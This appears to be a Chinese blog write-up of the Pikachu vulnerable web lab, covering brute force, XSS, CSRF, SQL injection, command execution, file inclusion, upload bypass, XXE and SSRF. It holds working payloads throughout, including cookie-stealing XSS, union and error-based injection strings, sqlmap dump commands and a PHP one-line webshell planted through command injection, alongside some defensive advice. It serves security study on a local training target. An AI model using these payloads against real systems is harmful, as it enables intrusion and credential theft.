pikachu(皮卡丘)靶场WP

暴力破解

1.基于表单的暴力破解

burpsuite启动!

直接开始爆破

payload1采用top500常用用户名

payload2采用top500常用密码

根据响应发现爆破成功

爆破出俩个账号分别是admin/123456和test/abc123

看一下tip发现还有一个账号pikachu(考察信息收集),于是往自己账号本上添加此账号便于下次爆破

pikachu/000000

2.验证码绕过(on server)

输入正确验证码后尝试爆破

发现存在验证码复用问题

直接爆破成功

3.验证码绕过(on client)

输入正确的验证码尝试爆破

通过爆破响应发现验证码随着爆破次数而改变

尝试删除验证码元素

发现

验证码前端JS验证

删掉即可绕过

爆破成功

4.token防爆破

题如其名,加入了token校验

只需要每次爆破的时候把token值取出来就OK了

在Intruder中点击设置找到检索-提取(intruder模块找到options选项,然后找到Grep-Extract功能)

点击添加(add)新增一条数据提取规则

在新窗口点击重新获取响应(refetch response)获取到响应包内容,在响应包内找到token,然后选中token值后点击OK,接下来就可以设置爆破规则

我们给账号密码和token处都设为变量,然后将token的payload设置为我们刚提取的token值

payload设置为递归提取(recursive grep)并在初始payload输入初始值

设置为总是定向

开始爆破

爆破失败

burpsuite设置为了集束炸弹(Cluster bomb)模式,因此在爆破时将所有出现的token值进行了笛卡尔积运算,这就导致爆破的数据量无限增加,并且正确结果也不便于我们查看。

因此,我们此处使用另外一种取token值的方法。

尝试用了交叉鱼叉payload攻击并且线程为一

还是失败了

再次尝试交叉鱼叉payload攻击并且线程为一并且将首次请求的payload改为递归提取的payload

还是失败了

看了看wp没发现哪里有问题

不过输入正确用户名及密码返回的长度不同——csrf token error

.....................................................................................................................................................

Cross-Site Scripting

反射型XSS的脚本被解析的地方是浏览器,而存储型XSS的脚本被解析的地方是服务器

反射型xss(get)

Which NBA player do you like?

这里输入一个nobody,返回who is nobody,i don't care!

payload:<script>alert('xss')</script>

但是有字数限制(前端)

按下F121修改即可,将maxlength更改为大的数值

反射性xss(post)

输入账号 admin 密码 12345

payload <script> alert('xss')</script>

存储型xss

使用留言板输入<script>alert(document.cookie)</script>

DOM型XSS

' οnclick=alert('xss')>

之后点击'>what do you see?出现弹窗

也可以' οnmοuseοver=alert(document.cookie)>

之后接触反映语句即可出发

闭合后语句:<a href='' οnclick=alert(‘xss’)>'>what do you see?</a>

<a href='' οnmοuseοver=alert(document.cookie)>'>what do you see?</a>

javascript:alert`1`

javascript伪协议也可以

DOM型XSS-X

同上

XSS盲打

请在下面输入你对"锅盖头"这种发型的看法:

我们将会随机抽出一名送出麻港一日游


你的大名:

提交后显示谢谢参与,阁下的看法我们已经收到!
这个是将留言保存至后台 当管理员登录查看留言时就会触发

Payload:<script>alert(document.cookie)</script>

之后登录后台

xss之过滤
<script>标签被过滤了,我们可以用其他的方法绕过

payload:<a href="" οnclick="alert('xss')">

或者<SCRIPT>alert('xss')</SCRIPT>将script开大写

xss之htmlspecialchars

先尝试一下<script>alert('xss')</script>

没什么效果

payload ' οnclick='alert(1)'

javascript:alert`1`

' οnclick='alert("xss")

' οnmοuseοver='alert(1)'

xss之href输出

payload:javascript:alert(document.cookie)

xss之js输出

从源码得知输入的内容嵌到script内部,于是考虑可以先闭合script标签然后再进行XSS

</script><script>alert(/1/)</script>

CSRF

CSRF(get) login

先是登录一个账号

修改提交

并且抓包构造payload

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=hacker&add=hacker&email=hacker@pikachu.com&submit=submit

这样用户点击就会修改账号信息

CSRF(post)

虽然POST请求无法通过伪造URL进行攻击, 但是可以通过伪造恶意网页, 将伪造的POST请求隐藏在恶意网页的表单中, 然后诱引用户点击按钮提交表单, 数据自然就POST至存在CSRF漏洞的网页, 最终用户的信息会被修改

此处运行CSRFTESTER工具来制作恶意网页, 首先浏览器配置网络代理, 监听本机的8008端口,然后在CSRFTESTER点击Start Recording开始抓包

工具地址:https://github.com/ot-jerry-welch/owaspcsrftester

找到生成的HTML文件并对其编辑, 将下面那行<input type="hidden" name="submit" value="submit"/>修改成<input type="submit" name="submit" value="submit"/>, 然后其他POST参数都可自行设置
在浏览器打开生成的恶意网页, 当用户点击submit按钮后, 用户的个人信息就会被修改

csrftoken

造成CSRF漏洞的主要原因是请求敏感操作的数据包容易被伪造, 其实只要在每次请求时都增加一个随机码(Token), 在每次前端与后端进行数据交互时后台都要对这个随机码进行验证, 以此来防护CSRF攻击

查看token_get_edit.php的源码, 发现有一个set_token()函数, 该函数每次刷新页面都会被调用, 然后将SESSION中的token销毁, 并生成新的token发送至前端表单中

<div id="per_info">
   <form method="get">
   <h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="token_get.php?logout=1">退出登录</a></h1>
   <p class="per_name">姓名:{$name}</p>
   <p class="per_sex">性别:<input type="text" name="sex" value="{$sex}"/></p>
   <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="{$phonenum}"/></p>    
   <p class="per_add">住址:<input class="add" type="text" name="add" value="{$add}"/></p> 
   <p class="per_email">邮箱:<input class="email" type="text" name="email" value="{$email}"/></p>
       
   <input type="hidden" name="token" value="{$_SESSION['token']}" />
       
   <input class="sub" type="submit" name="submit" value="submit"/>
   </form>
</div>

在每次提交表单时, 前端页面的token值都会传送至后台与SESSION中的token进行对比验证, 由于黑客不知道用户当前的token值, 从而无法进行CSRF攻击

Sql Inject

数字型注入

  • 先判断数据类型
  • 用 and 1=1 和 and 1=2
  • 如果 and 1=1 正确, and1=2 报错,说明是数字型,如果都不报错,说明是字符型
  • 在此处添加and1=1会正常回显,但是输入and1=2则会报错
  • 接着判断字段数 order by
  • 再判断回显位 union select 1,2 --+

俩个都回显,看看数据库名database()——pikachu

  • 获取当前数据库所有表名
  • select group_concat(table_name) from information_schema.tables where table_schema=database() --+
  • 获取想要的表中的所有列名
  • select group_concat(column_name) from information_schema.columns where table_name='users'--+
  • 获取字段值(数据)
  • union select username,password from users#

字符型注入

输入1、1'、1"确认是字符型还是数值型。同时确认闭合形式。

如题目所示为字符型

输入name后

get方式输入的内容会在url中展现出来

所以直接再url框内注入即可

先判断字段数' order by 2# 字段数为2

之后判断显位'unionselect1,2# 发现1和2的位置都可以正确回显,1,2地方使用联合注入。

然后爆库

' union select1,group_concat(schema_name) from (information_schema.schemata) #

显示所有数据库
' union select1,database() #

显示当前数据库

接着爆表

' union select 1,group_concat(table_name)from(information_schema.tables) where table_schema='pikachu' #

开始爆列
' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' # 当前数据库的指定表名

' union select 1,group_concat(column_name) from (information_schema.columns) where table_name='表名' # 在所有数据库中指定一个表名

准备爆数据

' union select username,password from users#

采用了MD5加密,可以去CMD5进行解密

搜索型注入

输入a反馈

闭合符号为%',

输入
 

正常回显

输入a%' and 1=-1#出现错误

判断出是搜索型注入

注入payload: a%' union select database(),2,3#

操作同上

xx型注入

tip:管tmd的什么型,能够制造出闭合,就是本事

所谓的xx型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)

所以进行测试闭合符号

判断出闭合符号为)

payload: ') union select 1,group_concat(concat_ws(':',username,password)) from pikachu.users#

这里':' 是用于连接两个字符串的冒号。具体来说,concat_ws(':', username, password)usernamepassword 字段的值连接在一起,并用冒号 ':' 分隔它们

"insert/update"注入

insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。

DML

DML(Data Manipulation Language)数据操作语言,以 INSERT、UPDATE、DELETE 三种指令为核心,分别代表插入、更新与删除,是必须要掌握的指令,DML 和 SQL 中的 select 熟称 CRUD(增删改查)。

INSERT插入的两种方式:

1、insert into 表名[(字段,字段)] values (值,值);

说明:

值和字段需要一一对应

如果是字符型或日期类型,值需要用单引号引起来;如果是数值类型,不需要用单引号

字段和值的个数必须一致,位置对应

字段如果不能为空,则必须插入值

可以为空的字段可以不用插入值,但需要注意:字段和值都不写;或字段写上,值用 null 代替

表名后面的字段可以省略不写,此时表示所有字段,顺序和表中字段顺序一致。

2、insert into 表名 set 字段 = 值,字段 = 值;(不常见建议用方式一~~~)

批量插入方式

insert into 表名 [(字段,字段)] values (值,值),(值,值),(值,值);

INSERT注入就是用插入的方式进行注入,并不是用insert into插入数据进行注入

注册并抓包

基于Xpath的利用报错注入

可以用extractvalue或者updatexml 来进行报错注入

首先介绍两个函数:

1、updataxml():

官方定义:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称;

第二个参数:XPath_string (Xpath格式的字符串);

第三个参数:new_value,String格式,替换查找到的符合条件的数据;

返回内容:若xpath正确则返回更改对象名称,否则返回xpath错误内容

2、extractvalue()

官方定义:

extractvalue()
extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
语法: ExtractValue(xm| _document, xpath. string)

第一个参数:XML_document是String格式,为XML文档对象的名称;

第二个参数:XPath_string (Xpath格式的字符串);

返回内容:若xpath正确则返回目标XML查询的结果,否则返回xpath错误内容

不知道什么是Xpath请看这里

XPath即为XML路径语言(XML Path Language),它是一种用来确定XML文档中某部分位置的语言。

函数报错原因

可以看到上面两函数里都有xpath路径,而在xpath中,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)等特殊字符是非法的,也就会产生报错,而这些特殊字符也恰好是报错注入的关键点,而当报错内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行。

payload分析:1后的单引号是在闭合前面的单引号,payload中最后一个单引号是在闭合后面的单引号,可以通过or 或者 and 的方式来进行连接,而在extractvalue()中有两个参数第一个参数任意填写即可,重点在第二个这里concat()意为返回结果为连接参数产生的字符串,0x7e为ASCII码,表示 ~

只需要替换select 后面的语句即可

payload:1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '

payload:1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '

同理可以将database()修改为version()

数据库爆出来了

database()自行修改值

insert布尔盲注使用函数

length(str1) #返回str1字符串长度

left(str1,num) #对字符串str1从左开始数起,返回num个字符

substr(str1,2,1) #对字符串str1从左边第2位开始,截取1位 mid(str1,2,1) #与substr用法相同

ascii(str1) #返回字符串ascii值 ord(str1) #与ascii用法相同

like 模糊匹配(可用正则表达式) regexp #与like类似

其中0x7e是ASCII编码,意思是~,用于区分系统报错和关键信息

"delete"注入

1 or updatexml(1,concat(0x7e,database()),0)

使用语句进行闭合

http头注入

登录账号admin/123456

使用ua注入

burpsuit抓包构造payload : ' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

基于boolian的盲注

一、什么是盲注

盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。

通俗的讲就是在前端页面没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行sql注入。

二、盲注的分类

基于布尔类型的盲注

基于时间类型的盲注

三、利用盲注的前提条件

首先页面没有显示位(如果有显示位可以选择union联合查询),并且没有返回sql语句的执行错误信息。

四、盲注的优缺点

优点:不需要显示位和出错信息。

缺点:速度慢,耗费时间长(可以用到bp等工具)。

五、基于布尔类型的盲注

1.什么情况下使用布尔类型的盲注

没有返回SQL执行的错误信息

错误与正确的输入,返回的结果只有两种

2.使用布尔类型盲注的操作步骤:

  1. 构造目标查询语句
  2. 选择拼接方式
  3. 构造判断表达式
  4. 提取数据长度
  5. 提取数据内容

六.回归题目

直接上sqlmap爆破

获取数据库名

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=admin&submit=%E6%9F%A5%E8%AF%A2#" --current-db(检索当前使用的数据库名称)

成功获取数据库名

接着python sqlmap.py -u "url" -D pikachu --tables 获取数据库表

获取列:

python sqlmap.py -u "url" -D pikachu -T users --columns

获取数据

python sqlmap.py -u "url" -D pikachu -T users -C username,password --dump

基于时间的盲注

1.何时利用时间类型的盲注:

页面上没有显示位和SQL语句执行的错误信息,正确执行和错误执行的返回界面一样,此时需要使用时间类型的盲注。

时间型盲注与布尔型盲注的语句构造过程类似,通常在布尔型盲注表达式的基础上使用IF语句加入延时语句来构造,由于时间型盲注耗时较大,通常利用脚本工具来执行,在手工利用的过程中较少使用。

2.时间类型盲注的注意事项

通常使用sleep()等专用的延时函数来进行时间盲注,特殊情况下也可以使用某些耗时较高的操作代替这些函数。

为了提高效率,通常在表达式判断为真时执行延时语句。

时间盲注语句拼接时无特殊要求,保证语法正确即可。

3.基于时间盲注判断

1.通过时间线判断sql语句是否执行

正确错误语句返回相同

2.通过添加sleep函数判断:

payload:name=root'and sleep(5)--+ 执行成功时间线为5s

执行失败则为32ms

4.回归题目

此处使用sqlmap爆破

查数据库

python sqlmap.py -u "url" -dbs

查表

python sqlmap.py -u "url" -D pikachu --tables

查列:

python sqlmap.py -u "url" -D pikachu -T users --columns

查数据:

python sqlmap.py -u "url" -D pikachu -T users -C id,username,password --dump

+----+----------+----------------------------------+

| id | username | password |

+----+----------+----------------------------------+

| 1 | admin | e10adc3949ba59abbe56e057f20f883e |

| 2 | pikachu | 670b14728ad9902aecba32e22fa4f6bd |

| 3 | test | e99a18c428cb38d5f260853678922e03 |

+----+----------+----------------------------------+


wide byte注入

原理:
宽字节注入有addslashes,mysql_escape_string,mysql_real_escape_string等转义的函数

对输入'符号进行了转义'

pikachu靶场是addslashes()进行了转义

单引号(')
双引号(")
反斜杠(\)
NULL
在下方设置编码时设置为了gbk编码

利用反斜杠编码为%5c

用%df构成(連)字绕过对 ’符号 的转义

简而言之,就是由于编码的问题,用%df' 可以绕过对‘的转义

查字段:

1%df' order by 2#

1%df' order by 3# 有错误产生

查位置:

1%df' union select 1,2#

查版本:

1%df' union select 1,@@version#

查数据库:

1%df' union select 1,database()#

查表:

1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查列--->查表

1%df' union select username,password from users#

或者直接万能密码

RCE

exec "ping"

漏洞利用

这里尝试写一个一句话木马

127.0.0.1 | echo "<?php @eval($_REQUEST[1])?>" > ../../muma.php

..........额

127.0.0.1 & ipconfig

源代码分析

代码中,首先$ _POST[‘ipaddress’]赋值给了$ip ,然后没有经过任何处理直接就传入shell_exec()函数执行,造成命令可拼接执行。

exec “eval”

漏洞利用

直接phpinfo();

源代码分析

查看源码发现没有做任何校验,直接将我们输入的代码传递到了eval()函数中。

RCE 漏洞防御

使用白名单:定义一个接受合法命令或代码输入的白名单,只有在此白名单中的命令或代码才会被执行。这个做法可以限定用户只能进行指定的操作,并且可以有效地防止黑客攻击。

安全编码实践:编写安全代码是防范RCE攻击的一个重要手段。开发者应该禁止使用eval()或exec()等不安全的函数,而是使用更安全的函数来处理用户输入。

输入验证:当处理用户输入时,必须进行必要的验证,包括数据类型、格式和长度等。在校验用户输入之后,再将其传递给执行命令或代码的函数。

限制shell运行环境:在PHP的服务器端配置文件中,可以通过限制可执行文件的路径和基本环境变量来减小攻击面。

File Inclusion

本地文件包含

漏洞利用

范围为一到五

这里尝试修改为10

爆出了目录路径

这里尝试本地文件读取

?filename=../../../../Windows/System32/drivers/etc/hosts

源代码分析

这里接受的参数filename没有做任何过滤,直接进行了包含,从而导致了漏洞的产生。

漏洞防御

在源代码中已经给出了漏洞的防御措施。使用白名单的方式,指定用户可以访问的文件范围。

这里为了显示的效果容易看到,又添加了一个else语句

//安全的写法,使用白名单,严格指定包含的文件名

if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){

include "include/$filename";

}else{

die("你想干什么");

}

远程文件包含

漏洞利用

这里使用本地ip进行远程文件包含

payload:http://ip地址/pikachu/test/phpinfo.txt

源代码分析

同样是变量传进来直接包含,没做任何的安全限制。

漏洞防御

# 漏洞防御
$allowed_files = array(
    'include/file1.php',
    'include/file2.php',
    'include/file3.php',
    'include/file4.php',
    'include/file5.php',
    'include/file6.php'
);
//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    // include "$filename";//变量传进来直接包含,没做任何的安全限制
    # 漏洞防御
    if(in_array($filename, $allowed_files)){
        include "$filename";
    }else{
        die("黑客!");
    }

}

文件包含漏洞防御

  • 使用str_replace等方法过滤掉危险字符。
  • 配置open_basedir,防止目录遍历。
  • php版本升级,防止%00截断。
  • 对上传的文件进行重命名,防止被读取。
  • 对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
  • 做好管理员权限划分,做好文件的权限管理。

unsafe filedownload

下载链接

http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=kb.png

http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../.DS_Store

unsafe upfileupload

client check

漏洞利用

这里上传一个php木马,显示无法上传,稍稍修改一下源码也是

这里抓个包进行修改后缀

上传成功

源代码分析

说明:这里过滤方式是白名单过滤,但是放在了前端进行校验。前端的一切过滤都可以被绕过。

MIME type

说明

MIME(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展类型)

是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问时,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

MIME 在传输数据时使用两个主要的元素:类型和子类型。前面是数据的大类别,例如声音audio、图像image等,后面定义具体的种类,常见的MIME类型,比如:

超文本标记语言文本.html texthtml

普通文本.txt text/plain

RTF文本.rtf application/rtf

GIF图形.gif image/gif

JPEG图形.ipeg.jpg image/jpeg

漏洞利用

修改Content-Type值为:image/jpeg即可绕过

源代码分析

upload_sick()函数的定义如下,该函数不安全之处在于两点:

  1. 仅检查了MIME类型,可以通过抓包修改进行绕过。
  2. 保存文件的时候没有重命名文件,这样即使网页不回显文件保存路径,也有很大概率可以被攻击者猜测到。

getimagesize()

函数声明

使用getimagesize() 进行文件内容检测,只检测文件头部

漏洞利用


修改成图片头格式即可绕过

比如GIF89a


Over Permission

水平越权-op1 login

漏洞利用

查看tip得到三个账号

这里修改账号名字可以触发水平越权

源代码分析

用户信息是直接从url中获取的,没有校验当前用户

漏洞防御

使用session来校验,增加一个if判断url传入的username和当前用户是否匹配,如果匹配则为$username赋值,若不匹配则不赋值。

if($_SESSION['op']['username'] == $_GET['username']){

$username=escape($link, $_GET['username']);

}

垂直提权

tips(再点一下关闭)

这里有两个用户admin/123456,pikachu/000000,admin是超级boss

漏洞利用

登录员工账号

再看看管理员账号

多出了添加账户功能

先抓取员工的Cookie

Cookie: PHPSESSID=mjqm4nto5albjrhd2rjfrukgf7

之后抓取BOSS添加账号的数据包

将cookie修改为员工的值

之后发包

此时登录账号发现添加成功

发现垂直越权漏洞

源码分析

op2_admin_edit.php

说明:op2_admin_edit.php中只是验证了用户是否登录,如果没登陆就跳转到登录页面,没有验证用户的权限级别等级,但是前端显示添加用户的权限级别为1的用户才能执行的操作。所以这里才会出现垂直越权漏洞。

../../

目录遍历

漏洞利用

点击链接

http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php

尝试修改为http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../windows\system32\drivers\etc\hosts

发现遍历成功

敏感信息泄露

方法一:弱口令admin/admin登录成功

方法二:源码中得到账号

方法三:cookie中也有账号密码

PHP反序列化

概念

序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

反序列化unserialize()
 

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

        漏洞举例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

漏洞利用

O:1:"S":1:{s:4:"test";s:32:"<script>alert('attack')</script>";}

XXE

概念

XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

运用

1.查看系统文件内容

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" > ]>

<foo>&xxe;</foo>

2.查看PHP源代码

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/software/phpstudy_pro/WWW/pikachu/vul/xxe/xxe.php" > ]>

<foo>&xxe;</foo>

3.查看开放端口

在输入框中输入下面的xml代码。

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]>

<foo>&xxe;</foo>

以及

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]>

<foo>&xxe;</foo>

81端口的处理速度较慢。因为服务器80端口是开放的而81端口是关闭的。

4.探测内网主机

同端口探测一样,可根据返回信息内容的接收响应时间来判断ip是否存在。

构造payload

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "http://ip" > ]>

<foo>&xxe;</foo>


URL重定向

漏洞利用

点击第四条,出现?url=i

将这个i修改为其它ip以及域名皆可跳转

源码分析

修改前,当url参数的值不为 i 时,就会跳转到 url 值表示的页面。

防御方法

1.对用户输入进行合法性验证:对于所有接收用户输入的参数,都需要进行合法性验证。验证方式包括检测是否为合法的URL、检测是否为域名白名单之内等。

2.避免使用直接的URL重定向:应避免直接使用输入参数中提供的URL地址进行重定向,可以使用一个中间转换链接(例如使用本站跳转)对URL进行重定向。

3.使用白名单过滤:维护白名单限制允许进行重定向的URL地址,可以有效限制攻击者可利用的重定向地址。

4.采用固定的重定向URL:在编写代码时,设置一个固定的重定向URL地址,或者设置一个预定义的URL地址参数,避免通过用户输入URL地址的形式来触发重定向操作。

5.限制重定向次数:设置最大重定向次数,如果超过预设值就结束重定向。这可以避免攻击者构造类似蜜罐攻击的链接,不断跳转用户浏览器,造成用户浏览器崩溃。

6.带有安全标志的重定向:使用安全标志,例如在URL中使用SSL证书或者添加额外的参数来传递当前会话信息等方式,可以增加重定向的安全性。

SSRF

SSRF(curl)

漏洞利用

一.网址访问

修改url指向的地址: ?url=http://www.baidu.com

二.查看本地文件

利用file伪协议查看本地文件

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/superdic.txt

三.dict协议扫描内网主机开放端口

dict协议:dict://是一种用于在Curl命令中传递字典参数的协议。该协议通常用于向服务器发送包含键值对的数据。

使用dict协议可以获取内网主机开放端口相应服务的指纹信息,修改url为:url=dict://ip:80:


SSRF(file_get_content)

发现路径中的参数从url变成了file

file_get_contents() : 把整个文件读入一个字符串中。

漏洞利用

一.file读取本地文件

file=file:///../../../../xxxx

二.http协议请求内网资源

可以使用服务器或者本地虚拟机

开启一台kali主机,并且开启一个http服务

python3 -m http.server 8888

修改file为:file=http://192.168.188.185:8888

  • 29
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值